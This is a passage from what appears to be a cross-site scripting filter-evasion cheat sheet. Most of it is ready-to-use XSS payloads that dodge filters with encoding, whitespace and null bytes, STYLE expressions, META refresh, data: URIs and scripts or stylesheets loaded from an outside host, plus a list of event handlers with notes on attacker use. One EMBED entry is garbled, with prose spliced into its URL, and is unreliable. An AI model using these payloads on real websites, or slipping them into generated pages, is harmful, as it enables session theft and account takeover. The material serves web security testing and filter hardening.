fromCharCode

+

if no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need: +

+
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

UTF-8 Unicode encoding

+

all of the XSS examples that use a javascript: directive inside of an <IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). Use the XSS Calculator for more information: +

+
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
+&#39;&#88;&#83;&#83;&#39;&#41;>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Long UTF-8 Unicode encoding without semicolons

+

This is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total. This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I've seen this in the wild): +

+
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&
+#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Hex encoding without semicolons

+

This is also a viable XSS attack against the above string $tmp_string =~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). Use the XSS calculator for more information: +

+
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Embedded tab

+

Used to break up the cross site scripting attack: +

+
<IMG SRC="jav	ascript:alert('XSS');">
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Embedded Encoded tab

+

Use this one to break up XSS : +

+
<IMG SRC="jav&#x09;ascript:alert('XSS');">
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Embedded newline to break up XSS

+

Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector: +

+
<IMG SRC="jav
ascript:alert('XSS');">
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Embedded carriage return to break up XSS

+

(Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.): +

+
<IMG SRC="jav
ascript:alert('XSS');">
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Null breaks up JavaScript directive

+

Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00is much more useful and helped me bypass certain real world filters with a variation on this example: +

+
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Spaces and meta chars before the JavaScript in images for XSS

+

This is useful if the pattern match doesn't take into account spaces in the word "javascript:" -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal: +

+
<IMG SRC=" &#14;  javascript:alert('XSS');">
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Non-alpha-non-digit XSS

+

The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. +For example "<SCRIPT\s" != "<SCRIPT/XSS\s": +

+
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
+
+

Based on the same idea as above, however,expanded on it, using Rnake fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here: +

+
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
+
+

Yair Amit brought this to my attention that there is slightly different behavior between the IE and Gecko rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful if the system does not allow spaces. +

+
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Extraneous open brackets

+

Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error: +

+
<<SCRIPT>alert("XSS");//<</SCRIPT>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

No closing script tags

+

In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected: +

+
<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Protocol resolution in script tags

+

This particular variant was submitted by Łukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag. +

+
<SCRIPT SRC=//ha.ckers.org/.j
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Half open HTML/JavaScript XSS vector

+

Unlike Firefox the IE rendering engine doesn't add extra data to your page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close ">" tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ because it doesn't require the end ">". As a side note, this was also affective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag: +

+
<IMG SRC="javascript:alert('XSS')"
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Double open angle brackets

+

Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't: +

+
<iframe src=http://ha.ckers.org/scriptlet.html <
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Escaping JavaScript escapes

+

When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read <SCRIPT>var a="\\";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. The XSS locator uses this method.: +

+
\";alert('XSS');//
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

End title tag

+

This is a simple XSS vector that closes <TITLE> tags, which can encapsulate the malicious cross site scripting attack: +

+
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

IMAGES

+

INPUT image

+
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

BODY image

+
<BODY BACKGROUND="javascript:alert('XSS')">
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

IMG Dynsrc

+
<IMG DYNSRC="javascript:alert('XSS')">
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

IMG lowsrc

+
<IMG LOWSRC="javascript:alert('XSS')">
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

List-style-image

+

Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector: +

+
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

VBscript in an image

+
<IMG SRC='vbscript:msgbox("XSS")'>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Livescript (older versions of Netscape only)

+
<IMG SRC="livescript:[code]">
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [NS4] +

+

Mocha (older versions of Netscape only)

+
<IMG SRC="mocha:[code]">
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [NS4] +

+

BODY tag

+

Method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). Dan Crowley additionally noted that you can put a space before the equals sign ("onload=" != "onload ="): +

+
<BODY ONLOAD=alert('XSS')>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +


+

+

Event Handlers

+

+It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing). Please note I have excluded browser support from this section because each one may have different results in different browsers. Thanks to Rene Ledosquet for the HTML+TIME updates: +

+
 1.	FSCommand() (attacker can use this when executed from within an embedded Flash object)
+ 2.	onAbort() (when user aborts the loading of an image)
+ 3.	onActivate() (when object is set as the active element)
+ 4.	onAfterPrint() (activates after user prints or previews print job)
+ 5.	onAfterUpdate() (activates on data object after updating data in the source object)
+ 6.	onBeforeActivate() (fires before the object is set as the active element)
+ 7.	onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard - attackers can do this with the execCommand  ("Copy") function)
+ 8.	onBeforeCut() (attacker executes the attack string right before a selection is cut)
+ 9.	onBeforeDeactivate() (fires right after the activeElement is changed from the current object)
+ 10.	onBeforeEditFocus() (Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)
+ 11.	onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand("Paste") function)
+ 12.	onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand("Print") function).
+ 13.	onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)
+ 14.	onBegin() (the onbegin event fires immediately when the element's timeline begins)
+ 15.	onBlur() (in the case where another popup is loaded and window looses focus)
+ 16.	onBounce() (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window)
+ 17.	onCellChange() (fires when data changes in the data provider)
+ 18.	onChange() (select, text, or TEXTAREA field loses focus and its value has been modified)
+ 19.	onClick() (someone clicks on a form)
+ 20.	onContextMenu() (user would need to right click on attack area)
+ 21.	onControlSelect() (fires when the user is about to make a control selection of the object)
+ 22.	onCopy() (user needs to copy something or it can be exploited using the execCommand("Copy") command)
+ 23.	onCut() (user needs to copy something or it can be exploited using the execCommand("Cut") command)
+ 24.	onDataAvailable() (user would need to change data in an element, or attacker could perform the same function)
+ 25.	onDataSetChanged() (fires when the data set exposed by a data source object changes)
+ 26.	onDataSetComplete() (fires to indicate that all data is available from the data source object)
+ 27.	onDblClick() (user double-clicks a form element or a link)
+ 28.	onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document)
+ 29.	onDrag() (requires that the user drags an object)
+ 30.	onDragEnd() (requires that the user drags an object)
+ 31.	onDragLeave() (requires that the user drags an object off a valid location)
+ 32.	onDragEnter() (requires that the user drags an object into a valid location)
+ 33.	onDragOver() (requires that the user drags an object into a valid location)
+ 34.	onDragDrop() (user drops an object (e.g. file) onto the browser window)
+ 35.	onDrop() (user drops an object (e.g. file) onto the browser window)
+ 36.	onEnd() (the onEnd event fires when the timeline ends.    
+ 37.	onError() (loading of a document or image causes an error)
+ 38.	onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object)
+ 39.	onFilterChange() (fires when a visual filter completes state change)
+ 40.	onFinish() (attacker can create the exploit when marquee is finished looping)
+ 41.	onFocus() (attacker executes the attack string when the window gets focus)
+ 42.	onFocusIn() (attacker executes the attack string when window gets focus)
+ 43.	onFocusOut() (attacker executes the attack string when window looses focus)
+ 44.	onHelp() (attacker executes the attack string when users hits F1 while the window is in focus)
+ 45.	onKeyDown() (user depresses a key)
+ 46.	onKeyPress() (user presses or holds down a key)
+ 47.	onKeyUp() (user releases a key)
+ 48.	onLayoutComplete() (user would have to print or print preview)
+ 49.	onLoad() (attacker executes the attack string after the window loads)
+ 50.	onLoseCapture() (can be exploited by the releaseCapture() method)
+ 51.	onMediaComplete() (When a streaming media file is used, this event could fire before the file starts playing)
+ 52.	onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem)
+ 53.	onMouseDown() (the attacker would need to get the user to click on an image)
+ 54.	onMouseEnter() (cursor moves over an object or area)
+ 55.	onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again)
+ 56.	onMouseMove() (the attacker would need to get the user to mouse over an image or table)
+ 57.	onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again)
+ 58.	onMouseOver() (cursor moves over an object or area)
+ 59.	onMouseUp() (the attacker would need to get the user to click on an image)
+ 60.	onMouseWheel() (the attacker would need to get the user to use their mouse wheel)
+ 61.	onMove() (user or attacker would move the page)
+ 62.	onMoveEnd() (user or attacker would move the page)
+ 63.	onMoveStart() (user or attacker would move the page)
+ 64.	onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline)
+ 65.	onPaste() (user would need to paste or attacker could use the execCommand("Paste") function)
+ 66.	onPause() (the onpause event fires on every element that is active when the timeline pauses, including the body element)
+ 67.	onProgress() (attacker would use this as a flash movie was loading)
+ 68.	onPropertyChange() (user or attacker would need to change an element property)
+ 69.	onReadyStateChange() (user or attacker would need to change an element property)
+ 70.	onRepeat() (the event fires once for each repetition of the timeline, excluding the first full cycle)
+ 71.	onReset() (user or attacker resets a form)
+ 72.	onResize() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
+ 73.	onResizeEnd() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
+ 74.	onResizeStart() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
+ 75.	onResume() (the onresume event fires on every element that becomes active when the timeline resumes, including the body element)
+ 76.	onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)
+ 77.	onRowsEnter() (user or attacker would need to change a row in a data source)
+ 78.	onRowExit() (user or attacker would need to change a row in a data source)
+ 79.	onRowDelete() (user or attacker would need to delete a row in a data source)
+ 80.	onRowInserted() (user or attacker would need to insert a row in a data source)
+ 81.	onScroll() (user would need to scroll, or attacker could use the scrollBy() function)
+ 82.	onSeek() (the onreverse event fires when the timeline is set to play in any direction other than forward)
+ 83.	onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)
+ 84.	onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)
+ 85.	onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)
+ 86.	onStart() (fires at the beginning of each marquee loop)
+ 87.	onStop() (user would need to press the stop button or leave the webpage)
+ 88.	onSyncRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire)
+ 89.	onSubmit() (requires attacker or user submits a form)
+ 90.	onTimeError() (user or attacker sets a time property, such as dur, to an invalid value)
+ 91.	onTrackChange() (user or attacker changes track in a playList)
+ 92.	onUnload() (as the user clicks any link or presses the back button or attacker forces a click)
+ 93.	onURLFlip() (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)
+ 94.	seekSegmentTime() (this is a method that locates the specified point on the element's segment time line and begins playing from that point.   The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)
+
+

+

+

BGSOUND

+
<BGSOUND SRC="javascript:alert('XSS');">
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

& JavaScript includes

+
<BR SIZE="&{alert('XSS')}">
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [NS4] +

+

LAYER (also only works in Netscape 4.x)

+
<LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [NS4] +


+

+

STYLE sheet

+
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
+Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
+
+

Remote style sheet

+

(using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page: +

+
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Remote style sheet part 2

+

This works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop. As a side note, you can remove the end </STYLE> tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world: +

+
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Remote style sheet part 3

+

This only works in Opera 8.0 (no longer in 9.x) but is fairly tricky. According to RFC2616 setting a link header is not part of the HTTP1.1 spec, however some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox: +

+
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Remote style sheet part 4

+

This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefor is vulnerable to this for the vast majority of sites: +

+
<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +


+

+

STYLE tags with broken up JavaScript for XSS

+

This XSS at times sends IE into an infinite loop of alerts: +

+
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

STYLE attribute using a comment to break up expression

+

Created by Roman Ivanov +

+
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

IMG STYLE with expression

+

This is really a hybrid of the above XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like above this can send IE into a loop: +

+
exp/*<A STYLE='no\xss:noxss("*//*");
+xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

STYLE tag (Older versions of Netscape only)

+
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [NS4] +

+

STYLE tag using background-image

+
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
+
+

STYLE tag using background

+
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
+
+

<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> +

+

Anonymous HTML with STYLE attribute

+

IE6.0 and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter: +

+
<XSS STYLE="xss:expression(alert('XSS'))">
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Local htc file

+

This is a little different than the above two cross site scripting vectors because it uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute: +

+
<XSS STYLE="behavior: url(xss.htc);">
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +


+

+

US-ASCII encoding

+

US-ASCII encoding (found by Kurt Huwig).This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the host transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding. I highly suggest anyone interested in alternate encoding issues look at my charsets issues page: +

+
¼script¾alert(¢XSS¢)¼/script¾
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [NS4] +

+

META

+

The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs: +

+
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

META using data

+

Directive URL scheme. This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding. Please see RFC 2397 for more details or go here or here to encode your own. You can also use the XSS calculator below if you just want to encode raw HTML or JavaScript as it has a Base64 encoding method: +

+
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

META with additional URL parameter

+

If the target website attempts to see if the URL contains "http://" at the beginning you can evade it with the following technique (Submitted by Moritz Naumann): +

+
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

IFRAME

+

If iframes are allowed there are a lot of other XSS problems as well: +

+
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

FRAME

+

Frames have the same sorts of XSS problems as iframes +

+
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

TABLE

+
<TABLE BACKGROUND="javascript:alert('XSS')">
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

TD

+

Just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors: +

+
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
+
+

DIV

+

DIV background-image

+
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
+
+

DIV background-image with unicoded XSS exploit

+

This has been modified slightly to obfuscate the url parameter. The original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail: +

+ + + +

DIV background-image plus extra characters

+

Rnaske built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279): +

+
<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

DIV expression

+

A variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression": +

+
<DIV STYLE="width: expression(alert('XSS'));">
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Downlevel-Hidden block

+

Only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our Cross Site Scripting vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job: +

+
<!--[if gte IE 4]>
+ <SCRIPT>alert('XSS');</SCRIPT>
+ <![endif]-->
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

BASE tag

+

Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work): +

+
<BASE HREF="javascript:alert('XSS');//">
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +


+

+

OBJECT tag

+

If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag). The linked file is actually an HTML file that can contain your XSS: +

+
 <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Using an EMBED tag you can embed a Flash movie that contains XSS

+

Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).: +

+
EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:
+org/xss.swf" AllowScriptAccess="always"></EMBED>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

You can EMBED SVG which can contain your XSS vector

+

This example only works in Firefox, but it's better than the above vector in Firefox because it does not require the user to have Flash turned on or installed. Thanks to nEUrOO for this one. +

+
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Using ActionScript inside flash can obfuscate your XSS vector

+
a="get";
+b="URL(\"";
+c="javascript:";
+d="alert('XSS');\")";
+eval(a+b+c+d);
+
+

XML data island with CDATA obfuscation

+

This XSS attack works only in IE and Netscape 8.1 in IE rendering engine mode) - vector found by Sec Consult while auditing Yahoo: +

+
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
+<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Locally hosted XML with embedded JavaScript that is generated using an XML data island

+

This is the same as above but instead referrs to a locally hosted (must be on the same server) XML file that contains your cross site scripting vector. You can see the result here: +

+
<XML SRC="xsstest.xml" ID=I></XML>
+<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
+
+

